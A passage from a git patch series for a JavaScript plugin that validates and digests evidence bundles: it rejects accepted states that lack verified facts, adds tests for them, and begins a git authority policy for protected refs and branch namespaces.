artifact integrity fact reports mismatch.`); + } + if (!isCompleteVerified(fact)) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state requires verified facts; partial, failed, or unknown facts cannot justify acceptance.`); + } + verifiedCount += 1; + } + if (verifiedCount === 0) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot be justified by provider claims alone.`); + } + for (let index = 0; index < bundle.claims.length; index += 1) { + const claim = bundle.claims[index]; + if (claim.status === 'unsupported') { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot be accepted while an unsupported claim remains.`); + } + if (!isSuccessClaim(claim)) continue; + const matches = matchingFacts(claim, bundle.facts); + let justified = false; + for (let m = 0; m < matches.length; m += 1) { + if (isCompleteVerified(matches[m]) && claimComparable(claim) === factComparable(matches[m])) { + justified = true; + break; + } + } + if (!justified) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state requires a matching verified fact for every provider success claim.`); + } + } +} + +export function parseEvidenceBundleV1(input, path = 'evidence_bundle') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertEvidenceBounds(input, path); + assertAllowedKeys(input, BUNDLE_ALLOWED_KEYS, path); + requiredKeys(input, BUNDLE_REQUIRED_KEYS, path); + + const schema = optOwn(input, 'schema'); + if (schema !== EVIDENCE_BUNDLE_SCHEMA_ID) { + fail('invalid_format', `${path}.schema`, + `${path}.schema must be exactly "${EVIDENCE_BUNDLE_SCHEMA_ID}".`); + } + const version = optOwn(input, 'version'); + if (version !== EVIDENCE_BUNDLE_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${EVIDENCE_BUNDLE_VERSION}; additive versions cannot rewrite v1 bytes.`); + } + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const requestId = optOwn(input, 'request_id'); + assertRunId(requestId, `${path}.request_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar.`); + } + const provider = optOwn(input, 'provider'); + if (!isKnownProvider(provider)) { + fail('invalid_format', `${path}.provider`, + `${path}.provider must be one of ${knownProvidersJoined()}.`); + } + const model = optOwn(input, 'model'); + if (!isModelId(model)) { + fail('invalid_format', `${path}.model`, + `${path}.model violates the accepted model-id grammar.`); + } + const repository = parseRepository(input, `${path}.repository`); + const candidate = parseCandidate(input, `${path}.candidate`); + const sequence = assertSequence(optOwn(input, 'sequence'), `${path}.sequence`); + const recordedAt = parseOptionalTimestamp(input, path); + const finalState = assertEnum( + optOwn(input, 'final_state'), FINAL_STATES, 'unknown_final_state', `${path}.final_state`, 'final state', + ); + + const claims = parseRecordList(input, 'claims', path, MAX_CLAIMS, parseProviderClaimV1, 'claim_id'); + const facts = parseRecordList(input, 'facts', path, MAX_FACTS, parseVerifiedFactV1, 'fact_id'); + const discrepancies = parseRecordList( + input, 'discrepancies', path, MAX_DISCREPANCIES, parseEvidenceDiscrepancyV1, 'discrepancy_id', + ); + const artifacts = parseArtifactSnapshots(input, path, runId, assignmentId); + const artifactMap = artifactByDigest(artifacts); + + for (let index = 0; index < claims.length; index += 1) { + const claim = claims[index]; + const field = `${path}.claims[${index}]`; + assertIdentityBinding(claim, runId, assignmentId, field); + resolveDigests(claim.artifact_digests, artifactMap, field, 'provider', true); + } + for (let index = 0; index < facts.length; index += 1) { + const fact = facts[index]; + const field = `${path}.facts[${index}]`; + assertIdentityBinding(fact, runId, assignmentId, field); + const allowEmpty = fact.status === 'unknown' || fact.status === 'failed'; + resolveDigests( + fact.artifact_digests, artifactMap, field, + fact.fact_kind === 'model_attested' ? null : 'proof', + allowEmpty && fact.fact_kind !== 'model_attested', + ); + if (fact.fact_kind === 'git_identity' && fact.payload.base_sha !== repository.base_sha) { + fail('stale_fact', `${field}.payload.base_sha`, + `${field}.payload.base_sha does not match the bundle repository base.`); + } + } + for (let index = 0; index < discrepancies.length; index += 1) { + const discrepancy = discrepancies[index]; + const field = `${path}.discrepancies[${index}]`; + assertIdentityBinding(discrepancy, runId, assignmentId, field); + resolveDigests(discrepancy.artifact_digests, artifactMap, field, null, true); + } + assertLinkedIdentities(discrepancies, claims, facts, path); + assertClaimFactLinks(claims, facts, discrepancies, path); + + const values = { + schema: EVIDENCE_BUNDLE_SCHEMA_ID, + version: EVIDENCE_BUNDLE_VERSION, + run_id: runId, + request_id: requestId, + assignment_id: assignmentId, + provider, + model, + repository, + sequence, + final_state: finalState, + claims, + facts, + discrepancies, + artifacts, + }; + if (candidate !== undefined) values.candidate = candidate; + if (recordedAt !== undefined) values.recorded_at = recordedAt; + const snapshot = freezeRecord(BUNDLE_ALLOWED_KEYS, values); + assertAcceptedState(snapshot, path); + const canonical = canonicalJsonStringify(snapshot); + if (BUFFER_FROM(canonical, 'utf8').length > MAX_BUNDLE_CANONICAL_BYTES) { + fail('out_of_range', path, + `${path} canonical bytes exceed ${MAX_BUNDLE_CANONICAL_BYTES}.`); + } + return snapshot; +} + +export function canonicalEvidenceBundleJsonV1(input, path = 'evidence_bundle') { + return canonicalJsonStringify(parseEvidenceBundleV1(input, path)); +} + +export function evidenceBundleDigestV1(input, path = 'evidence_bundle') { + const snapshot = parseEvidenceBundleV1(input, path); + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(EVIDENCE_DIGEST_LABEL, [canonicalBytes]); + return capturedFreeze({ + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label: EVIDENCE_DIGEST_LABEL, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +export function verifyEvidenceBundleDigestV1(input, expectedDigestHex, path = 'evidence_bundle') { + if (typeof expectedDigestHex !== 'string' + || expectedDigestHex.length !== EVIDENCE_DIGEST_HEX_LENGTH + || !testPattern(PRIVATE_SHA256_PATTERN, expectedDigestHex)) { + return false; + } + const actual = evidenceBundleDigestV1(input, path).digest; + return TIMING_SAFE_EQUAL(BUFFER_FROM(actual, 'hex'), BUFFER_FROM(expectedDigestHex, 'hex')) === true; +} + +export const EVIDENCE_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: EVIDENCE_BUNDLE_SCHEMA_ID, + version: EVIDENCE_BUNDLE_VERSION, + label: EVIDENCE_DIGEST_LABEL, + bounds: capturedFreeze({ + max_depth: MAX_EVIDENCE_DEPTH, + max_nodes: MAX_EVIDENCE_NODES, + max_claims: MAX_CLAIMS, + max_facts: MAX_FACTS, + max_discrepancies: MAX_DISCREPANCIES, + max_artifacts: MAX_EVIDENCE_ARTIFACT_REFS, + max_canonical_bytes: MAX_BUNDLE_CANONICAL_BYTES, + }), +}); + export { RunContractV1Error as EvidenceContractV1Error }; export { ARTIFACT_REF_SCHEMA_ID }; diff --git a/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs index 98498fd..707b909 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs @@ -131,6 +131,42 @@ export function acceptanceRef(overrides = {}) { }); } +export function validDiscrepancy(overrides = {}) { + return { + discrepancy_id: 'd-mismatch', + discrepancy_kind: 'mismatch', + status: 'recorded', + code: 'claim_fact_mismatch', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + claim_ids: ['c-tests'], + fact_ids: ['f-accept'], + artifact_digests: [], + ...overrides, + }; +} + +export function validBundle(overrides = {}) { + return { + schema: 'codex-co-engineer.evidence-bundle.v1', + version: 1, + run_id: RUN_ID, + request_id: REQUEST_ID, + assignment_id: ASSIGNMENT_ID, + provider: PROVIDER, + model: MODEL, + repository: { path: REPOSITORY_PATH, base_sha: BASE_SHA }, + sequence: 0, + final_state: 'pass', + claims: [validClaim()], + facts: [validFact(), validGitIdentityFact()], + discrepancies: [], + artifacts: [reportRef(), acceptanceRef(), validArtifactRef()], + ...overrides, + }; +} + export function countingProxy(target) { const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; const proxy = new Proxy(target, { diff --git a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs index f88f57f..2dfc730 100644 --- a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs +++ b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs @@ -2,26 +2,43 @@ import assert from 'node:assert/strict'; import test from 'node:test'; import { + ARTIFACT_REF_SCHEMA_ID, CLAIM_ALLOWED_KEYS, CLAIM_KINDS, CLAIM_REQUIRED_KEYS, + DISCREPANCY_KINDS, EVIDENCE_BUNDLE_SCHEMA_ID, EVIDENCE_BUNDLE_VERSION, + EVIDENCE_DIGEST_LABEL, FACT_ALLOWED_KEYS, FACT_KINDS, FACT_REQUIRED_KEYS, + canonicalEvidenceBundleJsonV1, canonicalProviderClaimJsonV1, canonicalVerifiedFactJsonV1, + evidenceBundleDigestV1, + parseEvidenceBundleV1, + parseEvidenceDiscrepancyV1, parseProviderClaimV1, parseVerifiedFactV1, + verifyEvidenceBundleDigestV1, } from '../mcp/v3/evidence-bundle.mjs'; +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { parseArtifactRefV1 } from '../mcp/v3/artifact-ref.mjs'; import { + ASSIGNMENT_ID, + BASE_SHA, MODEL, + RUN_ID, + SHA_ACCEPT, countingProxy, payloadDigest, trapTotal, + validArtifactRef, + validBundle, validClaim, + validDiscrepancy, validFact, validGitIdentityFact, validModelClaim, @@ -232,3 +249,136 @@ test('live proxies and accessors are denied without invoking traps or getters', assert.equal(errorOf(() => parseProviderClaimV1(getterClaim)).code, 'accessor_property_denied'); assert.equal(reads, 0); }); + +test('a valid bundle freezes exact P07 artifact snapshots and detaches from the caller', () => { + const input = validBundle(); + const snapshot = parseEvidenceBundleV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.claims), true); + assert.equal(Object.isFrozen(snapshot.facts), true); + assert.equal(Object.isFrozen(snapshot.artifacts), true); + assert.equal(snapshot.artifacts.length, 3); + assert.equal(snapshot.artifacts[0].schema, ARTIFACT_REF_SCHEMA_ID); + for (const ref of snapshot.artifacts) { + assert.deepEqual(Object.keys(ref), Object.keys(parseArtifactRefV1(validArtifactRef()))); + assert.equal(ref.run_id, RUN_ID); + assert.equal(ref.assignment_id, ASSIGNMENT_ID); + } + input.final_state = 'failed'; + input.artifacts.push(validArtifactRef({ relative_path: 'runs/run-evidence-01/lane-alpha/other.patch' })); + assert.equal(snapshot.final_state, 'pass'); + assert.equal(snapshot.artifacts.length, 3); + assert.throws(() => { 'use strict'; snapshot.final_state = 'failed'; }, TypeError); +}); + +test('discrepancies link claim and fact identities without erasing either source', () => { + const claim = validClaim({ payload: { result: 'pass' } }); + const fact = validFact({ payload: { command_id: 'unit-tests', result: 'fail' }, status: 'failed' }); + const discrepancy = validDiscrepancy(); + parseEvidenceDiscrepancyV1(discrepancy); + const snapshot = parseEvidenceBundleV1(validBundle({ + final_state: 'failed', + claims: [claim], + facts: [fact, validGitIdentityFact()], + discrepancies: [discrepancy], + })); + assert.equal(snapshot.claims[0].payload.result, 'pass'); + assert.equal(snapshot.facts.find((entry) => entry.fact_id === 'f-accept').payload.result, 'fail'); + assert.equal(snapshot.discrepancies[0].discrepancy_kind, 'mismatch'); + assert.deepEqual([...snapshot.discrepancies[0].claim_ids], ['c-tests']); + assert.deepEqual([...snapshot.discrepancies[0].fact_ids], ['f-accept']); + assert.equal(DISCREPANCY_KINDS.includes('mismatch'), true); +}); + +test('raw paths, URLs, and inline blobs are never accepted as artifact links', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + artifacts: ['runs/run-evidence-01/lane-alpha/diff.patch'], + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + artifacts: ['https://example.invalid/report'], + }))).code, + 'invalid_type', + ); + const blob = validArtifactRef({ body: 'inline' }); + assert.equal(errorOf(() => parseEvidenceBundleV1(validBundle({ artifacts: [blob] }))).code, 'unknown_key'); + const extraPath = validArtifactRef({ url: '/tmp/secret' }); + assert.equal(errorOf(() => parseEvidenceBundleV1(validBundle({ artifacts: [extraPath] }))).code, 'unknown_key'); +}); + +test('artifact identity drift and non-P07 snapshots fail closed', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + artifacts: [validArtifactRef({ assignment_id: 'lane-beta' })], + }))).code, + 'identity_mismatch', + ); + const incomplete = validArtifactRef(); + delete incomplete.sha256; + assert.equal(errorOf(() => parseEvidenceBundleV1(validBundle({ artifacts: [incomplete] }))).code, 'missing_key'); +}); + +test('canonical bundle bytes and digests are stable under key permutation and use the reserved identity label', () => { + const straight = validBundle(); + const reordered = {}; + for (const key of Object.keys(straight).reverse()) reordered[key] = straight[key]; + reordered.claims = [{ ...straight.claims[0] }]; + const reversedClaim = {}; + for (const key of Object.keys(straight.claims[0]).reverse()) { + reversedClaim[key] = straight.claims[0][key]; + } + reordered.claims = [reversedClaim]; + reordered.facts = [...straight.facts].reverse(); + reordered.artifacts = [...straight.artifacts].reverse(); + assert.equal(canonicalEvidenceBundleJsonV1(straight), canonicalEvidenceBundleJsonV1(reordered)); + const descriptor = evidenceBundleDigestV1(straight); + assert.equal(descriptor.domain, IDENTITY_DOMAIN); + assert.equal(descriptor.label, IDENTITY_LABELS.EVIDENCE_BUNDLE); + assert.equal(descriptor.label, EVIDENCE_DIGEST_LABEL); + assert.equal(verifyEvidenceBundleDigestV1(reordered, descriptor.digest), true); + assert.equal(verifyEvidenceBundleDigestV1(straight, 'zz'.repeat(32)), false); + assert.equal(verifyEvidenceBundleDigestV1(straight, 1), false); + const mutated = validBundle({ sequence: 1 }); + assert.notEqual(evidenceBundleDigestV1(mutated).digest, descriptor.digest); +}); + +test('facts cannot be synthesized from provider-derived artifacts', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact({ artifact_digests: ['11'.repeat(32)] })], + }))).code, + 'provider_proof_rejected', + ); +}); + +test('stale git identity facts fail closed against the bundle base', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [ + validFact(), + validGitIdentityFact({ + payload: { base_sha: 'c'.repeat(40), head_sha: BASE_SHA }, + }), + ], + }))).code, + 'stale_fact', + ); +}); + +test('duplicate and conflicting identities fail closed', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + claims: [validClaim(), validClaim({ sequence: 1 })], + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validFact({ fact_id: 'f-other', sequence: 0 })], + }))).code, + 'duplicate_sequence', + ); +}); From 431066116ae847b651f99557831c5e26a07dd7ae Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 05:34:07 +0000 Subject: [PATCH 057/151] test(evidence): reject unproven accepted states --- .../test/r1-evidence-bundle.test.mjs | 31 +++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs index 2dfc730..f14115b 100644 --- a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs +++ b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs @@ -382,3 +382,34 @@ test('duplicate and conflicting identities fail closed', () => { 'duplicate_sequence', ); }); + +test('accepted states reject forged PASS, incomplete facts, unsupported claims, and discrepancies', () => { + for (const finalState of ['pass', 'accepted', 'verified']) { + assert.doesNotThrow(() => parseEvidenceBundleV1(validBundle({ final_state: finalState }))); + } + + const forgedPass = validBundle({ facts: [validGitIdentityFact()] }); + assert.equal(errorOf(() => parseEvidenceBundleV1(forgedPass)).code, 'unproven_accepted_state'); + + const incompleteFact = validBundle({ + facts: [validFact({ status: 'partial' }), validGitIdentityFact()], + }); + assert.equal(errorOf(() => parseEvidenceBundleV1(incompleteFact)).code, 'unproven_accepted_state'); + + const truncatedFact = validBundle({ + facts: [validFact({ status: 'truncated', truncated: true }), validGitIdentityFact()], + }); + assert.equal(errorOf(() => parseEvidenceBundleV1(truncatedFact)).code, 'truncated_required_fact'); + + const unsupportedClaim = validBundle({ claims: [validClaim({ status: 'unsupported' })] }); + assert.equal(errorOf(() => parseEvidenceBundleV1(unsupportedClaim)).code, 'unproven_accepted_state'); + + const blockingDiscrepancy = validBundle({ + facts: [ + validFact({ payload: { command_id: 'unit-tests', result: 'fail' }, status: 'failed' }), + validGitIdentityFact(), + ], + discrepancies: [validDiscrepancy()], + }); + assert.equal(errorOf(() => parseEvidenceBundleV1(blockingDiscrepancy)).code, 'unproven_accepted_state'); +}); From 13dfccb20cde3f14bd69031b8ad7d2668831fd6a Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:02:53 +0000 Subject: [PATCH 058/151] fix(evidence): require proof artifacts for model attestation Reject model_attested facts justified only by provider-derived artifact kinds or a reused claim provider-report digest. Keep the closed proof-kind boundary so usage_evidence and existing proof kinds remain valid. --- .../mcp/v3/evidence-bundle.mjs | 2 +- .../test/r1-evidence-bundle.test.mjs | 44 +++++++++++++++++++ 2 files changed, 45 insertions(+), 1 deletion(-) diff --git a/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs index 8b7758b..b717473 100644 --- a/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs +++ b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs @@ -1008,7 +1008,7 @@ export function parseEvidenceBundleV1(input, path = 'evidence_bundle') { const allowEmpty = fact.status === 'unknown' || fact.status === 'failed'; resolveDigests( fact.artifact_digests, artifactMap, field, - fact.fact_kind === 'model_attested' ? null : 'proof', + 'proof', allowEmpty && fact.fact_kind !== 'model_attested', ); if (fact.fact_kind === 'git_identity' && fact.payload.base_sha !== repository.base_sha) { diff --git a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs index f14115b..0323928 100644 --- a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs +++ b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs @@ -32,8 +32,11 @@ import { MODEL, RUN_ID, SHA_ACCEPT, + SHA_REPORT, + acceptanceRef, countingProxy, payloadDigest, + reportRef, trapTotal, validArtifactRef, validBundle, @@ -354,6 +357,47 @@ test('facts cannot be synthesized from provider-derived artifacts', () => { ); }); +test('model_attested facts require independent proof, not provider-report reuse', () => { + const modelFact = (artifactDigests) => validFact({ + fact_id: 'f-model', + fact_kind: 'model_attested', + sequence: 2, + subject: 'model', + authority: 'independent_provider_query', + method: 'independent_model_query', + exit_code: null, + payload: { model: MODEL }, + artifact_digests: artifactDigests, + }); + + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validGitIdentityFact(), modelFact([SHA_REPORT])], + }))).code, + 'provider_proof_rejected', + ); + + assert.doesNotThrow(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validGitIdentityFact(), modelFact([SHA_ACCEPT])], + }))); + + const usageSha = '77'.repeat(32); + assert.doesNotThrow(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validGitIdentityFact(), modelFact([usageSha])], + artifacts: [ + reportRef(), + acceptanceRef(), + validArtifactRef(), + validArtifactRef({ + artifact_kind: 'usage_evidence', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/usage.json`, + sha256: usageSha, + media_type: 'application/json', + }), + ], + }))); +}); + test('stale git identity facts fail closed against the bundle base', () => { assert.equal( errorOf(() => parseEvidenceBundleV1(validBundle({ From 0ec4386a566545f2e11372aa4b4e01cfa1b43fdf Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:47:12 +0000 Subject: [PATCH 059/151] feat(authority): define protected refs and branch namespaces --- .../mcp/v3/git-authority.mjs | 400 ++++++++++++++++++ 1 file changed, 400 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/git-authority.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/git-authority.mjs b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs new file mode 100644 index 0000000..4b30b80 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs @@ -0,0 +1,400 @@ +// GitAuthorityPolicyV1 — closed immutable Git authority policy (P28; +// ADR 0001 `codex_only_final_acceptance`, `run_owned_candidate_ref_namespace`, +// `gate_a_no_protected_ref_mutation`). +// +// Additive v3 static law: protected/default refs, the allowed task-branch +// namespace, credential-free repository/ref identity, and tri-class +// classification. No Git mutation, no P29 credential/remote I/O, no P30 +// audit. Policy plus detection is not containment. Receipts never echo +// repository paths, URLs, credentials, provider text, or hostile refs. + +import { Buffer as NodeBuffer } from 'node:buffer'; + +import { capturedFreeze, capturedTest } from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + RunContractV1Error, + assertAllowedKeys, + assertBaseSha, + assertRepositoryPath, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const GIT_AUTHORITY_SCHEMA_ID = 'codex-co-engineer.git-authority.v1'; +export const GIT_AUTHORITY_POLICY_SCHEMA_ID = 'codex-co-engineer.git-authority-policy.v1'; +export const GIT_AUTHORITY_VERSION = 1; + +export const REF_CLASS_VALUES = capturedFreeze([ + 'platform_run_owned', 'unclassified', 'user_protected', 'worker_lane', +]); +export const MAX_AUTHORITY_OBJECT_KEYS = 32; +export const MAX_AUTHORITY_KEY_BYTES = 128; +export const MAX_REF_BYTES = 200; +export const MAX_REF_SEGMENTS = 8; +export const MAX_HISTORY_COMMITS = 256; +export const MAX_PARENT_COUNT = 16; +export const LANE_DIGEST_PREFIX_LENGTH = 16; +export const MANIFEST_DIGEST_HEX_LENGTH = 64; +export const DEFAULT_BRANCH_NAMES = capturedFreeze(['main', 'master']); +export const LANE_BRANCH_NAMESPACE = 'codex/run-'; +export const LANE_REF_PREFIX = 'refs/heads/codex/run-'; +export const CANDIDATE_REF_NAMESPACE = 'refs/codex-co-engineer/runs/'; +export const CANDIDATE_REF_LEAF = 'candidate'; +export const HEADS_PREFIX = 'refs/heads/'; + +const DIGEST_PATTERN = /^[0-9a-f]{64}$/u; +const BRANCH_SEGMENT_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/u; +const LANE_BRANCH_PATTERN = /^codex\/run-[0-9a-f]{16}\/[a-z][a-z0-9-]{0,63}$/u; +const LANE_REF_PATTERN = /^refs\/heads\/codex\/run-[0-9a-f]{16}\/[a-z][a-z0-9-]{0,63}$/u; +const CANDIDATE_REF_PATTERN = /^refs\/codex-co-engineer\/runs\/[a-z][a-z0-9-]{2,63}\/candidate$/u; +const SAFE_REF_PATTERN = /^refs\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}(?:\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}){0,7}$/u; +const SHA40_PATTERN = /^[0-9a-f]{40}$/u; + +export const POLICY_ALLOWED_KEYS = capturedFreeze([ + 'candidate_ref_leaf', 'candidate_ref_namespace', 'default_branch_names', + 'lane_branch_namespace', 'lane_digest_prefix_length', 'lane_ref_prefix', + 'manifest_digest_hex_length', 'max_history_commits', 'max_parent_count', + 'max_ref_bytes', 'max_ref_segments', 'schema', 'user_protected_ref_prefixes', + 'version', +]); +export const IDENTITY_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'head_sha', 'repository_path', 'run_id', +]); +export const IDENTITY_REQUIRED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'repository_path', 'run_id', +]); +export const REF_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'default_branch', 'identity', 'init_default_branch', 'manifest_digest_hex', + 'origin_head_branch', 'ref', +]); +export const BRANCH_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'manifest_digest_hex', 'run_id', +]); + +export const GIT_AUTHORITY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', + 'authority_identity_invalid', 'authority_posture_mismatch', + 'branch_namespace_violation', 'credential_content_denied', + 'default_branch_target_denied', 'exotic_prototype_denied', + 'invalid_format', 'invalid_type', 'merge_authority_denied', + 'merge_history_denied', 'missing_key', 'non_enumerable_property_denied', + 'out_of_range', 'own_undefined_denied', 'protected_ref_write_denied', + 'proxy_denied', 'push_authority_denied', 'symbol_key_denied', + 'unknown_git_operation', 'unknown_key', 'value_depth_exceeded', +]); + +const DEFINE = Object.defineProperty; +const OBJECT_IS = Object.is; +const STRING = String; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const IS_ARRAY = Array.isArray; +const OWN_KEYS = Reflect.ownKeys; +const SET_CTOR = Set; + +const MSG = capturedFreeze({ + accessor_property_denied: 'GitAuthorityPolicyV1 denies accessor inputs.', + aliased_reference_denied: 'GitAuthorityPolicyV1 denies aliased inputs.', + authority_identity_invalid: 'GitAuthorityPolicyV1 rejected the credential-free repository identity.', + authority_posture_mismatch: 'GitAuthorityPolicyV1 rejected the merge or create-PR capability posture.', + branch_namespace_violation: 'GitAuthorityPolicyV1 rejected a branch namespace or ref-grammar attack.', + credential_content_denied: 'GitAuthorityPolicyV1 denies credentials and remote mutation material.', + default_branch_target_denied: 'GitAuthorityPolicyV1 denies default-branch and protected-target assignments.', + exotic_prototype_denied: 'GitAuthorityPolicyV1 denies exotic prototypes.', + invalid_format: 'GitAuthorityPolicyV1 rejected a value that violates a closed grammar.', + invalid_type: 'GitAuthorityPolicyV1 rejected a non-JSON authority value.', + merge_authority_denied: 'GitAuthorityPolicyV1 denies merge rebase and create-PR authority.', + merge_history_denied: 'GitAuthorityPolicyV1 denies merge commits and merge histories.', + missing_key: 'GitAuthorityPolicyV1 requires every canonical authority key.', + non_enumerable_property_denied: 'GitAuthorityPolicyV1 denies non-enumerable properties.', + out_of_range: 'GitAuthorityPolicyV1 rejected a value outside closed bounds.', + own_undefined_denied: 'GitAuthorityPolicyV1 denies own undefined values.', + protected_ref_write_denied: 'GitAuthorityPolicyV1 denies writes to protected or default refs.', + proxy_denied: 'GitAuthorityPolicyV1 denies Proxy inputs.', + push_authority_denied: 'GitAuthorityPolicyV1 denies push and remote mutation authority.', + symbol_key_denied: 'GitAuthorityPolicyV1 denies symbol keys.', + unknown_git_operation: 'GitAuthorityPolicyV1 denies unknown git operations.', + unknown_key: 'GitAuthorityPolicyV1 rejects keys outside the closed vocabulary.', + value_depth_exceeded: 'GitAuthorityPolicyV1 rejected nested input that exceeds closed depth.', + authority_ok: 'GitAuthorityPolicyV1 permits the requested git operation.', +}); + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (!Object.hasOwn(values, key)) continue; + DEFINE(snapshot, key, { value: values[key], enumerable: true, writable: false, configurable: false }); + } + return capturedFreeze(snapshot); +} + +function deny(code, path) { + fail(code, path, MSG[code] ?? MSG.invalid_format); +} + +function assertClosedObject(input, allowed, path) { + if (input === undefined || input === null) deny('invalid_type', path); + assertDirectJsonClosure(input, path); + assertPlainObject(input, 'invalid_type', path, path); + let keys; + try { keys = OWN_KEYS(input); } catch { deny('invalid_type', path); } + if (keys.length > MAX_AUTHORITY_OBJECT_KEYS) deny('out_of_range', path); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_AUTHORITY_KEY_BYTES) deny('out_of_range', path); + } + assertAllowedKeys(input, allowed, path); + return input; +} + +function requireKeys(input, keys, path) { + for (let i = 0; i < keys.length; i += 1) { + if (!hasOwn(input, keys[i])) deny('missing_key', `${path}.${keys[i]}`); + } +} + +function assertExact(value, expected, path) { + if (IS_ARRAY(expected)) { + assertNotProxy(value, path); + if (!IS_ARRAY(value) || value.length !== expected.length) deny('invalid_format', path); + for (let i = 0; i < expected.length; i += 1) { + if (ownDataValue(value, STRING(i), `${path}[${i}]`) !== expected[i]) deny('invalid_format', path); + } + return; + } + if (value !== expected) deny('invalid_format', path); +} + +function refGrammarDenied(value) { + if (typeof value !== 'string') return true; + const bytes = BYTE_LENGTH(value, 'utf8'); + if (bytes === 0 || bytes > MAX_REF_BYTES || value.normalize('NFC') !== value) return true; + if (value.includes('..') || value.includes('//') || value.includes('@{') || value.includes('@')) return true; + if (value.startsWith('/') || value.endsWith('/') || value.endsWith('.')) return true; + if (/[ \\~^:?*[]/.test(value)) return true; + const segments = value.split('/'); + if (segments.length < 2 || segments.length > MAX_REF_SEGMENTS || segments[0] !== 'refs') return true; + for (let i = 0; i < segments.length; i += 1) { + const segment = segments[i]; + if (segment.length === 0 || segment.startsWith('.') || segment.endsWith('.') || segment.endsWith('.lock')) { + return true; + } + if (i > 0 && !capturedTest(BRANCH_SEGMENT_PATTERN, segment)) return true; + } + for (let i = 0; i < value.length; i += 1) { + const code = value.charCodeAt(i); + if (code < 0x21 || code > 0x7e) 